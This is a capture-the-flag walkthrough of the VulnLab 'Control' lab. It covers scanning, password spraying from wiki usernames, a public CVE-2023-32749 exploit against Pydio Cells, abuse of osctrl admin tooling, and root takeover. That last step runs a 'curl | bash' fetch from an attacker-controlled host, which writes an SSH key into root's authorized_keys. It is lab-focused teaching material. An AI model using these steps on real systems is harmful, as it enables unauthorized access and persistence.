VulnLab Control
VulnLab Control
Control
Recon
1
2
3
└─$ rustscan -a 10.10.235.85,10.10.235.86 -r 1-65535 -g
10.10.235.85 -> [22,443]
10.10.235.86 -> [22,80,443,8443,8444]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ nmap -sC -sV -p22,443 10.10.235.85
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-12 23:15 +06
Nmap scan report for 10.10.235.85
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:fa:cf:c3:c8:b1:50:11:f2:b0:73:b8:c5:ad:3d:0b (ECDSA)
|_ 256 ef:4e:d4:7e:cc:dc:d6:90:91:d8:ed:1d:7b:88:07:b4 (ED25519)
443/tcp open ssl/http nginx 1.25.0
|_http-server-header: nginx/1.25.0
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: start [control.vl Intranet]
|_http-generator: DokuWiki
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=wiki.intra.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T12:30:10
|_Not valid after: 2033-06-27T12:30:10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.23 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
└─$ nmap -sC -sV -p22,80,443,8443,8444 10.10.235.86
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-12 23:16 +06
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Nmap scan report for 10.10.235.86
Host is up (0.084s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 05:0f:88:bf:a3:a3:b9:f1:d7:82:fc:b1:92:19:90:ab (ECDSA)
|_ 256 0b:53:d6:5d:21:4a:64:1d:69:aa:bd:01:77:87:90:cc (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to https://10.10.235.86/
443/tcp open ssl/http nginx
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=os.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T16:21:40
|_Not valid after: 2033-06-27T16:21:40
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
8443/tcp open ssl/http nginx
| ssl-cert: Subject: commonName=os.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T16:21:40
|_Not valid after: 2033-06-27T16:21:40
|_ssl-date: TLS randomness does not represent time
| http-title: Login to osctrl
|_Requested resource was /login
8444/tcp open ssl/http nginx
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=os.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T16:21:40
|_Not valid after: 2033-06-27T16:21:40
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.70 seconds
os.control.vl
Some Wiki service running on port 443
We find interesting page containing info about another subdomain cells.intra.control.vl
We need valid usernames to start password spraying. We can find some in Recent Changes
tab in Wiki
We can construct a user list (we can find username policy deleted login.png
)
1
2
3
4
a.larose
s.thibodeau
j.george
k.leblanc
But none of the following attempts didn’t work. Yet we find another user in Old Revisions
tab: k.dagenais
Credentials work and we can access File Sharing platform
Nothing interesting. There’s a publicly available PoC for CVE-2023-32749 for Pydio Cells, which will create a new user with all roles
1
2
3
4
5
└─$ python3 exploit.py -u 'k.dagenais' -p 'Summer2023!' -l 'https://cells.intra.control.vl'
[*] Got the JWT token DOtMTIpTBgyFVMWDrWpCdwUH9X3gTMtTYz9_UQpet10.Gw6-41Vr_nVHdvn4_6IAYCphfoNHhsohSp2pM5t6SvE
[*] Got uuids for the new user
[*] Created new user: foobar with password: hunter2
<SNIP>
After authenticating as new user, we find 2 additional files
We find user credentials for provision
user in chat roomm
Trying it on os.control.vl
works and we get first user flag
We see mentioned osctrl and osquery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
provision@os:/opt$ ls -hla osctrl/
total 103M
drwxr-xr-x 7 root root 4.0K Jun 30 2023 .
drwxr-xr-x 4 root root 4.0K Jun 30 2023 ..
drwxr-xr-x 2 osctrl osctrl 4.0K Jun 30 2023 carved_files
drwxr-xr-x 2 root root 4.0K Jun 30 2023 config
drwxr-xr-x 2 root root 4.0K Jun 30 2023 data
-rwxr-xr-x 1 root root 30M Jun 30 2023 osctrl-admin
-rwxr-xr-x 1 root root 21M Jun 30 2023 osctrl-api
-rwxr-xr-x 1 root root 20M Jun 30 2023 osctrl-cli
-rwxr-xr-x 1 root root 34M Jun 30 2023 osctrl-tls
drwxr-xr-x 6 root root 4.0K Jun 30 2023 static
drwxr-xr-x 3 root root 4.0K Jun 30 2023 tmpl_admin
provision@os:/opt$ ls -hla osquery/
total 16K
drwxr-xr-x 4 root root 4.0K Jun 30 2023 .
drwxr-xr-x 4 root root 4.0K Jun 30 2023 ..
drwxr-xr-x 2 root root 4.0K Jun 30 2023 bin
drwxr-xr-x 3 root root 4.0K Jun 30 2023 share
We can list existing users using osctrl-cli
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
provision@os:/opt$ /opt/osctrl/osctrl-cli -d -D /opt/osctrl/config/db.json user h
NAME:
osctrl-cli user - Commands for users
USAGE:
osctrl-cli user command [command options] [arguments...]
COMMANDS:
add, a Add a new user
edit, e Edit an existing user
change-permissions, p, access Change permission in an environment for an existing user
reset-permissions, R, reset Clear and reset permissions for a user in an environment
show-permissions, S, perms Show permissions for a user in an environment
all-permissions, A, all-perms Show all permissions for an existing user
delete, d Delete an existing user
show, s Show an existing user
list, l List all existing users
help, h Shows a list of commands or help for one command
OPTIONS:
--help, -h show help (default: false)
There’s only admin
user
1
2
3
4
5
6
7
8
9
10
11
12
provision@os:/opt$ /opt/osctrl/osctrl-cli -d -D /opt/osctrl/config/db.json user l
Existing users (1):
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+
| USERNAME | FULLNAME | ADMIN? | DEFAULT ENVIRONMENT | LAST IPADDRESS | LAST USERAGENT |
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+
| admin | Admin | True | 06db90ca-cdf6-4735-928c-17654a398aa3 | 10.211.55.2 | Mozilla/5.0 (Macintosh; |
| | | | | | Intel Mac OS X 10_15_7) |
| | | | | | AppleWebKit/537.36 (KHTML, |
| | | | | | like Gecko) Chrome/114.0.0.0 |
| | | | | | Safari/537.36 |
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+
We can create new user with admin privileges
1
2
provision@os:/opt$ /opt/osctrl/osctrl-cli -d -D /opt/osctrl/config/db.json user a --username pentest --password P@ssw0rd --admin -e 06db90ca-cdf6-4735-928c-17654a398aa3
✅ created user pentest successfully
Now we can login to https://os.control.vl:8443/
We can run queries against both hosts (Documentation). Let’s check sudoers
We found kara
user with all privileges. We can check if kara
has ssh private key with:
1
select * from users join user_ssh_keys using (uid);
Let’s read it using carve
functionality
We successfully connect as kara
and get root flag
intra.control.vl
After enumerating intra.control.vl
, we found nothing interesting except authorized_keys
of the root user, which means that provision
user can run the /opt/provision/provision.sh
script as root
user
1
command="/opt/provision/provision.sh" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPY2yl4zl771A+n/7vbEB1kF/pbsC27XF5F5yV6Cd56S Temporary Provisioning Key
1
2
root@os:/var/www/html# cat /home/provision/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPY2yl4zl771A+n/7vbEB1kF/pbsC27XF5F5yV6Cd56S Temporary Provisioning Key
The content of /opt/provision/provision.sh
. It allows to run specified module from /opt/provision/modules/
directory and passes arguments, which are set during ssh connection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/bash
# (c) 2022-2023 by Kara Leblanc
#
# This is a temporary server provision wrapper for control.vl unix servers.
#
# For security reasons the provisioning ssh key is only allowed to run
# this script and not all commands on the machine.
# This script will only allow to run commands that are contained in special
# modules in the modules/ directory. Despite being highly secure there are
# probably better solutions to our problem but we need to evaluate them. We
# will therefore stick with this script for now.
set -- $SSH_ORIGINAL_COMMAND
if [[ -n $1 ]] ; then
module=$(basename ${1})
shift
if [[ -f /opt/provision/modules/$module && -x /opt/provision/modules/$module ]] ; then
exec "/opt/provision/modules/$module" "$@"
fi
fi
We can list modules in /opt/provision/modules/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
{
"name": "query_580a0f76fdb41bd8df0f62948dc43e6c",
"result": [
{
"path": "/opt/provision/modules/prov_df",
"directory": "/opt/provision/modules",
"filename": "prov_df",
"inode": "262757",
"uid": "0",
"gid": "0",
"mode": "0755",
"device": "0",
"size": "85064",
"block_size": "4096",
"atime": "1688214099",
"mtime": "1644249788",
"ctime": "1688122017",
"btime": "0",
"hard_links": "1",
"symlink": "1",
"type": "regular"
},
{
"path": "/opt/provision/modules/prov_osqd",
"directory": "/opt/provision/modules",
"filename": "prov_osqd",
"inode": "38013",
"uid": "0",
"gid": "0",
"mode": "0700",
"device": "0",
"size": "148",
"block_size": "4096",
"atime": "1688224965",
"mtime": "1688224965",
"ctime": "1688224965",
"btime": "0",
"hard_links": "1",
"symlink": "0",
"type": "regular"
},
{
"path": "/opt/provision/modules/prov_uname",
"directory": "/opt/provision/modules",
"filename": "prov_uname",
"inode": "263318",
"uid": "0",
"gid": "0",
"mode": "0755",
"device": "0",
"size": "35328",
"block_size": "4096",
"atime": "1696334310",
"mtime": "1644249788",
"ctime": "1688122020",
"btime": "0",
"hard_links": "1",
"symlink": "1",
"type": "regular"
}
],
"status": 0,
"message": ""
}
After downloading each, we found something interesting in /opt/provision/modules/prov_osqd
1
2
3
4
5
6
#!/usr/bin/bash
if ; then
echo "Missing options." >&2
exit 42
fi
curl -sk https://os.control.vl/${1}/${2}/enroll.sh | bash
Since we control os.control.vl
, where we can host malicious entroll.sh
. First create a script in /var/www/html
1
2
3
4
5
root@os:/var/www/html# nano enroll.sh
root@os:/var/www/html# cat enroll.sh
#!/bin/bash
echo "ssh-<SNIP>LTXH3V/ kali@kali" > /root/.ssh/authorized_keys
Change /etc/nginx/sites-enabled/tls.conf
and add a new location /pen/test
to make it functional for curl -sk https://os.control.vl/${1}/${2}/enroll.sh
command, since it uses 2 arguments
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<SNIP>
location /pen/test {
root /var/www/html;
}
location / {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# Fix the “It appears that your reverse proxy set up is broken" error.
proxy_pass http://localhost:9000;
proxy_read_timeout 90;
}
<SNIP>
Reload nginx
1
2
3
4
5
root@os:/var/www/html# nginx -s reload
nginx: [warn] "ssl_stapling" ignored, no OCSP responder URL in the certificate "/etc/nginx/certs/osctrl-admin.crt"
nginx: [warn] "ssl_stapling" ignored, no OCSP responder URL in the certificate "/etc/nginx/certs/osctrl-admin.crt"
nginx: [warn] "ssl_stapling" ignored, no OCSP responder URL in the certificate "/etc/nginx/certs/osctrl.crt"
The modifications work
1
2
3
4
└─$ curl -k https://os.control.vl/pen/test/enroll.sh
#!/bin/bash
echo "ssh-<SNIP>LTXH3V/ kali@kali" > /root/.ssh/authorized_keys
Connect using provision
’s private key and specify prov_osqd
script and arguments pointing to created location
1
└─$ ssh -i provision.id_rsa root@10.10.235.85 'prov_osqd pen test'
Now, connect as root
using private key and grab the flag
https://api.vulnlab.com/api/v1/share?id=17023969-64ec-4b73-b7f2-d9241d0e44b2